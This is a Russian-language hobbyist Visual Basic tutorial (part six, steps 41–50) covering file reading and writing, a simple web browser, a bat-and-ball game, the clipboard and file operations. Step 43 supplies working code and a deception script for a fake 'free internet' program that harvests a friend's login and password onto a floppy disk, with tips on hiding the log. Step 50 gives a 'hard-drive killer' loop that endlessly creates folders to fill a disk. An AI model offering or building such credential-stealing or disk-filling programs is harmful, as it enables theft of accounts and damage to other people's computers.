Главная Гостевая Форум INFA

Программируем на Visual Basic'e:

Часть 1/Часть 2/Часть 3/Часть 4/Часть 5/Часть 6/Часть 7/Часть 8/Часть 9/ Часть 10 /Часть 11/Часть 12/Часть 13 /Часть 14/Часть 15

ШАГ 41:

Открытие файлов

Сегодня я тебе расскажу про работу с файлами и папками.
Чтобы открыть файл тебе надодо использовать функцию Shell. Открываем файл:
r = Shell("start c:\scandisk.log", vbHide)
Короче как ты наверное, догадался тебе надо написать:
любой символ = Shell("start имя файла и путь",vbHide)

ШАГ 42:

Работа с файлами:

В этом разделе я тебе начну говорить о файлах, верней не о них, а как с ними работать, т.е. открывать, изменять, кидать...
Открытие: Для начала я хотел бы тебе сказать одну штуку, для того чтобы тебя не запутать, это не то открытие, о котором говорится на 41 шаге, а это не видимое открытие, т.е. юзер не будет видеть это окно. Вот так это делается:
f = FreeFile ' Функция FreeFile возвращает номер свободного канала, который можно использовать для работы с файлом, короче его надо всегда писать, но место него можно написать #номер
Open Имя_файла For [Input \ Output \ Append] As f 'Открываем файл
Close f 'Закрываем файл


Здесь Имя файла это путь к файлу. Посдле оператора For идет три слова:
Input - Это означает, что файл открывается только для чтения, если файл не существует, то VB выдаст ERROR.
Output - файл открывается для записи, если в файле есть какой - нибудь текст, то этот текст удаляется, если файл не существует, то он создается.
Append - файл открывается для записи, текст в нем не удаляется, а добавляется, если файл не существует то он создается.
Потом идет ключевое слово As, после него надо указать переменную f(FreeFile).И наконец, закрываем файл(Close), только не пробуй копировать код в VB, у тебя все равно ничего не выйдет, т.к. открытие файла нужно для чтения текста, или его изменения, а об этом читай ниже.
Запись:
Для записи текста служит оператор print(и write)
f = FreeFile 'Возвращает номер свободного канала
Open "c:\1.txt" For Append As f 'Открываем файл для добавления записи
Print #f, "Твой ТЕКСТ"'Записываем в файл 1.txt текст
Close #f 'Закрываем файл

Чтение
Для чтения файла надо использовать оператор LOF.

f = FreeFile
Open "c:\1.txt" For Input As f
Text1.Text = Input(LOF(f), f) 'Считываем текст из открытого файла в текстовое поле
Close f
Если ты думаешь, что это ни фига не надо, то я хочу тебе сказать что ты не прав, любое проффисиональное приложение использует эту феньку. И для того чтоб показать тебе все прелести работы с файлами делаем прогу: Разводка ламеров. Халявный инет.

ШАГ 43:

Развод ламеров. Халявный инет.

Вся радость в том, что ламер будет думать что он дурит провайдера, а на самом деле будут дурить его. Хе - Хе. Ламер сам напишет тебе пароль, и скинет тебе его на дискету. Ты дашь ему прогу, и скажешь, что эта прога нужна для того чтоб в инете на халяву сидеть. Он спросит: “ а у тебя получилось", ты ему скажешь: "Да, конешно работает, а если не работала, то я тебе ее не дал бы"... Ну для большей убедительности расскажешь ему о ней (речь сам придумаешь). Он впишет свой пароль и логин, и комп сохранит их на дискету. Учитывается то, что ламер будет вводить в начале не свой пароль, но это неважно, когда - нибудь он свой введет, и все его записи сохранятся на дискете, потом ты придешь домой, проверишь все его записи, и по какой - нибудь войдешь.
Ну что начнем? На форму кидаем 2 кнопки,2 текстовых поля,3 метки, ну и сделаем меню для большей убедительности. У первой кнопки свойство Caption будет Ввод, у второй Выход; у текстовых полей убираем свойство Text; у первой метки свойство Caption будет Password, у второй Login, а у 3 Халявный Интернет; у меню сделаем 2 раздела, первый раздел по традиции свойство Caption будет файл, а у второго Справка. У первого раздела первого подраздела свойство Caption будет выход, а у второго раздела, первого подраздела свойство Caption будет Вызов справки, а у второго подраздела О программе. Да чуть не забыл, нам надо добавить еще одну форму, для этого нажми на Add Form, эта фенька находится около кнопки создание меню, под разделом Edit. Короче у тебя должна получиться такая фенька:
Private Sub Command1_Click() 'При нажатии на кнопку Ввод:
MsgBox "Не установлено соединение или неправильно введен пароль", 48, "Ошибка при соединение" 'Появится ошибка, с сообщением о неправильных действиях ламера, если ламер введет не правильный (или правильный) пароль и логин, то появится ощибка, и когда - нибудь он введет правильный...
d = FreeFile
Open "a:\1.txt" For Append As d 'Открываем файл для записи, в него будут записываться данные ламера. Стоит диск a:, это для того чтоб привязать прогу к дискете, и тогда ламер не сможет скинуть ее себе на комп, и когда он отдаст тебе дискету, ты прочтешь все его записи.
Print #d, Text1.Text; Tab; Text2.Text 'Записываем данные, которые ламер введет в текстовые поля
Close #d 'Закрываем файл
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку 2:
End 'Выходим из проги, можно и с помощью Unload Me
End Sub
Private Sub ав_Click()
End 'При выборе Файл/Выход прога отрубается:
End Sub

Private Sub см_Click() 'При нажатии на кнопку 3(О проге):
Form2.Show 'Показываем Form2
End Sub

Теперь займемся оформлением Формы 2.На форму 2 закинем 4 метки: У первой свойство Caption будет О проге. У второй будет: "Программа ломает твоего провайдера, через порт TCP/IP; за каждый заход тебе на карту зачисляется 0.25 y.e., это оптимальная сумма для всех карт. Например, у MTU можно снять за раз 0.27 y.e., а у ROL 0.33 y.e., это зависит от скорости обновления сервера. После нажатия на Ввод появится сообщение о успешном взломе, и в течение 3 минут постарайтесь выйти из интернета. Где - то через 10 - 15 мин. опять можете повторять операцию.". У третьей: "Автор проекта не несет ни какой ответственности за использование проги", и эту метку надо сделать красным цветом. У четвертой: "Дата создания: 10/07/02".У пятой: "Автор: Падре". Все это нужно для большей убедительности. У тебя должна получиться такая фенька.

Ну вот и все!!! Теперь подсунь ее какому - нибудь ламеру. Не забудь скрыть текстовой файл, можешь поменять ему расширения, например записать не 1.txt, 1.lamer, и тогда ламер не додумается его открыть, даже если его найдет. А ты сможешь открыть его, если кликнешь на него два раза, и в открывшимся окне "Открыть с помощью", выбери Noterpad(Блокнот) Исходник проги можешь скачать отсюда

ШАГ 44:

Делаем Cвой Инет Броузер:

Ну как я и обещал, будем делать свой инет броузер. Подключи компонент Microsoft Internet Controls. На форму кинь WebBrowser(назови его WB), 4 кнопки(у 1ой Caption = "Назад", у 2ой = "Вперед", у 3ей = "Домой", у 4ой = "Обновить"), метку(Caption = "Адрес:", AutoSize = True(это чтоб размеры метки регулировались автоматом)), и текстовое поле(Caption="http://"). Вот что у тебя должно было появиться:



Private Sub Command1_Click() ' Кнопка назаD
WB.GoBack
End Sub

Private Sub Command2_Click() ' Кнопка вперед
WB.GoForward
End Sub

Private Sub Command3_Click() ' Кнопка Домой
WB.GoHome
End Sub

Private Sub Command4_Click() ' Кнопка Обновить
WB.Refresh
End Sub

Private Sub Form_Resize() ' При изменении размера формы меняем размер WB
WB.Left = 20
WB.Top = 1080
WB.Width = Form1.Width - 140
WB.Height = Form1.Height - 1500
End Sub

Private Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then ' Если нажата клавиша Enter то:
WB.Navigate Text1.Text ' Открываем введенный в текстовое поле адресс
' Меняем заголовок формы
Form1.Caption = ""
Form1.Caption = Text1.Text & Form1.Caption
End If
End Sub

Исходник проги качай сдесь

ШАГ 45:

Делаем PineBall:

На форму кинь кнопку(Enabled = False), Picture(Enabled = False, AutoSize = True, BorderStyle = "0 - None"), Timer(Interval = 1). Вот что у тебя должно получиться:

Вот код:

Dim BallTop As Boolean 'Тип Boolean озночает то что переменная может принемать тока 2 значения True и False
Dim Q As Boolean, Q1 As Boolean

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
' если нажата кнопка "вправо", то бита едет вправо
If KeyCode = 39 Then
Bita1.Left = Bita1.Left + 120
End If
' если нажата кнопка "влево", то бита едет влево
If KeyCode = 37 Then
Bita1.Left = Bita1.Left - 120
End If
End Sub

Private Sub Timer1_Timer()
If BallTop = False Then ' Если BallTop = False то шар скачет вниз
Ball.Top = Ball.Top + 30
Else 'Если BallTop = True то шар едет вверх
Ball.Top = Ball.Top - 30
End If

If Ball.Left - Bita1.Left < 150 And Ball.Left - Bita1.Left > -320 And Bita1.Top <= Ball.Top + 300 Then ' Сдесь начало вроде понятно, а в конце я написал Ball.Top + 300 это чтоб мяч ударялся об верх биты
BallTop = True ' Пускаем шар вверх
Q = True '' И влево
End If
If Q = True Then ' Если Q = True то мяч скачет влево
Ball.Left = Ball.Left - 60
End If
If Q1 = True Then ' Если Q1 = True то мяч скачет влево
Ball.Left = Ball.Left + 60
End If

If Ball.Left <= 0 Then ' Если мяч ударяется об левую стенку то меняем его направление
Q = False
Q1 = True
End If
End Sub

Эту прогу сам доделай, а то скопировать код любой может(даже я :-)), а вот до делать...
Исходник проги качай сдесь

ШАГ 46:

Работа с Буфером ОБМЕНА

Очень часто на конференция встречаются вопросы типа: "Как поместить текст в Clipboard?". Специально для этого существует объект Clipboard. C помощью этого маленького примера я коротко покажу как просто можно с ним взаимодействовать.

1.Создайте стандартный проект.
2.Создайте тестовое поле Text1.
3.Создайте три кнопки с именами cmdCut, cmdCopy и cmdPaste, и соответственно надписи к ним: "Cut", "Copy", "Paste".
4.Кликните два раза на cmdCut (кнопка, которая будет вырезать текст) - откроется окно Code. Впишите:

Private Sub cmdCut_Click()
'Вобще - то команды "вырезать" нет - есть положить в буфер,
'а потом надо просто удалить то, что мы скопировали.
'как известно чтобы что-то вырезать или вставить нужно это выделить.
'функция Text1.SelText возвращает именно выделенный текст, итак
'в буфер обмена помещается всё, что выделено

Clipboard.SetText Text1.Text
'теперь выделенный фрагмент текста удаляется
Text1.SelText = ""
End Sub
5.Теперь откройте окошко выбора (сверху окна Code) и выберете событие cmdCopy - заполним кнопку Copy:

Private SubcmdCopy_Click()
'здесь всё тоже, что и выше, но выделенный фрагмент не удаляется
Clipboard.SetText Text1.Text
End Sub

6. Теперь выберите событие кнопки Paste ("Вставить") и впишите: Private Sub cmdPaste_Click()
'текстовому полю присваивается содержимое буфера обмена
Text1.Text = Text1.Text + Clipboard.GetText
End Sub

И всё! А чтобы проводить подобные операции с графикой нужно использовать методы GetData и SetData, но об этом потом. Все потом. А сейчас я дам тебе ЗАДАНИЕ. Ну что, испугался? Ну и правильно, ща тебе придется попотеть!!!

ШАГ 47:

Задание:

Я тебя готовил к этому на протяжении 4 частей, и подготовил. Твоя миссия будет заключаться в создании блокнота, да не просто блокнота, а Чудо Блокнота. Короче ты должен нанести тяжелый удар по Microsoft, чтоб они затрепищали... Ты должен сделать обычный блокнот, но с часами (до этого даже Билл Гейц не додумался:-))). Потом отправляешь его в компанию Microsoft, получаешь бабло, и 50% отдаешь мне. Ну что договорились? Отлично! Только бабки присылай НЕ ЧЕКОМ, а наличкой....

ШАГ 48:

Создание папок

Для создания папок есть функция MKDir
MkDir "c:\44" 'Создаем папку 44
Теперь потготовились к созданию проги "Убийца Винта"

ШАГ 49:

Удаление & Копирование & Перемещение & Переименование файлов

Вот я сижу перед своим компом, делать не фига, играть невчего, Цой чего - то поет , но из - за того что у меня стремные колонки не фига не разберешь (помойму Группа крови), и я решил продолжить свою писанину. А что касается VB7, о которой я обещал узнать - все засекречено. Злой дядька Билл Гейц не говорит дату выпуска, он сказал мне только то, что VB7 станет объектно - оринтерировочным, и что в нем можно будет делать на уровне предприятий WEB приложения. Появится очень много и другого, я сидел два часа читал перевод статьи, и то не дочитал, и вот я не знаю покупать мне VB6, или подождать выхода VB7. Ну ладно перейдем к делу.


Для удаления файлов служит функция Kill "имя файла"
Kill "c:\1.txt" 'Удаляем файл 1.txt

Для копирования файлов есть функция FileCopy "дирек1","дирек2"
FileCopy "c:\1.txt", "c:\1\1.txt" 'Копируем файл 1.txt из c:\ в c:\1\
Для перемещения файлов Злой Дядька Билл Гейц сделал функцию Name "дирек1\Имя файла" as "дирек2\Имя файла"
Name "c:\1.bmp" As "c:\1\1.bmp" 'Перемещаем файл 1.BMP из диска c:\ в c:\1.bmp

Переименование файлов делается также как и перемещение.
Name "c:\1.bmp" As "c:\22.bmp" 'Переименовываем файл 1.bmp в 22.bmp

ШАГ 50:

Делаем Убийцу Винта

Dim bDIR As Integer ' вводим переменную bDIR
Private Sub Form_Load()
bDIR = 0
End Sub
Private Sub Timer1_Timer()
On Error Resume Next ' при ошибке переходим к следующему, а следующее это тоже самое
MkDir "C:\Создано " & bDIR & " папок" ' создаем папки
bDIR = bDIR + 1 ' добавляем в конец имени папки номер, всегда больший предыдущего на один
End Sub

Если у тебя есть вопросы по этой части, то оставляй их на форуме, гостевой книге, или пиши в наглую на мыло: padre03@mail.ru.


Шестая часть

автор учебника: Падре
Дата создания: 9 Марта 2003 года

Место под Банеры

MS Visual Basic